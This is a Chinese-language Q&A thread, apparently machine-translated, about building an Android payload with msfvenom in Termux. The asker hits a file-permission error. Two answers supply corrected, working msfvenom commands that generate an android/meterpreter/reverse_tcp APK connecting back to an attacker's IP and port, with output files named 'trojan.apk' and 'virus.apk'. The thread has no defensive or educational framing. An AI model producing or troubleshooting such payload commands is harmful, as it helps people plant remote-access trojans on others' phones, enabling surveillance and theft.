当我在termux app中使用此命令创建有效负载时
. /msfvenom -p android/meterpreter/reverse_tcp lhost=IP ADDRESS lport=3333 -o /sdcard/FILE NAME/test.apk
然后它正在向我展示
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 9435 bytes
Error: Permission denied @ rb_sysopen - /sdcard/apk_payload/hack.apk
请如何解决,请帮助我
答案 0 :(得分:0)
首先,抱歉我的英语不好。
看起来您的问题是路径, sdcard 路径是〜/ storage 在里面,你只能访问一些文件夹,在我的情况下是 dcim,下载,电影,音乐,图片和&共享的
我已决定将其放入 downloads ,因此路径应如下所示: 〜/存储/下载/ trojan.apk 的
最终代码应该是这样的: ./ msfvenom -p android / meterpreter / reverse_tcp LHOST = 您的IP LPORT = 您的端口 -o~ / storage / downloads / trojan.apk
答案 1 :(得分:0)
首先,如果msfvenom位于你的usr / local / bin文件夹中,你不需要./msfvenom只需要从msfvenom开始。
第二个-o选项在使用-x选项时使用,否则您不应该使用它。
您的命令应如下所示
msfvenom -p android/meterpreter/reverse_tcp LHOST=your ip LPORT=your port R > /root/what-ever-path-you-want/app-name.apk
示例:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.19 LPORT=4444 R > /root/Documents/virus.apk